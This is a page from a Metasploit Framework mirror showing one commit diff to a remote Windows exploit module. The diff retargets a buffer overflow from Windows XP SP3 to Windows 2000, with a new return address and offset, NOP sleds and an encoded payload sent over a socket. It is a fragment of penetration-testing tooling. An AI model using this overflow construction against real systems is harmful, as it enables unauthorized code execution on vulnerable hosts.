mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
updated with better coverage.
git-svn-id: file:///home/svn/framework3/trunk@5712 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
c1aa7babb7
commit
2965f3b238
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7e4926c7 } ], # 09/30/08
|
||||
[ 'Windows 2000 English SP0-SP4', { 'Offset' => 740, 'Ret' => 0x004d39ad } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 26 2008'))
|
||||
@ -60,12 +60,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
data << [0x000a77e3].pack('V')
|
||||
data << [0x00040005].pack('V')
|
||||
data << "\x00\x00"
|
||||
data << rand_text_alpha_upper(740)
|
||||
data << make_nops(target['Offset'])
|
||||
data << [target.ret].pack('V')
|
||||
data << [0x00404040].pack('V')
|
||||
data << payload.encoded
|
||||
data << rand_text_alpha_upper(1024)
|
||||
|
||||
data << make_nops(1024)
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
sock.get_once
|
||||
sock.put(data)
|
||||
|
Loading…
Reference in New Issue
Block a user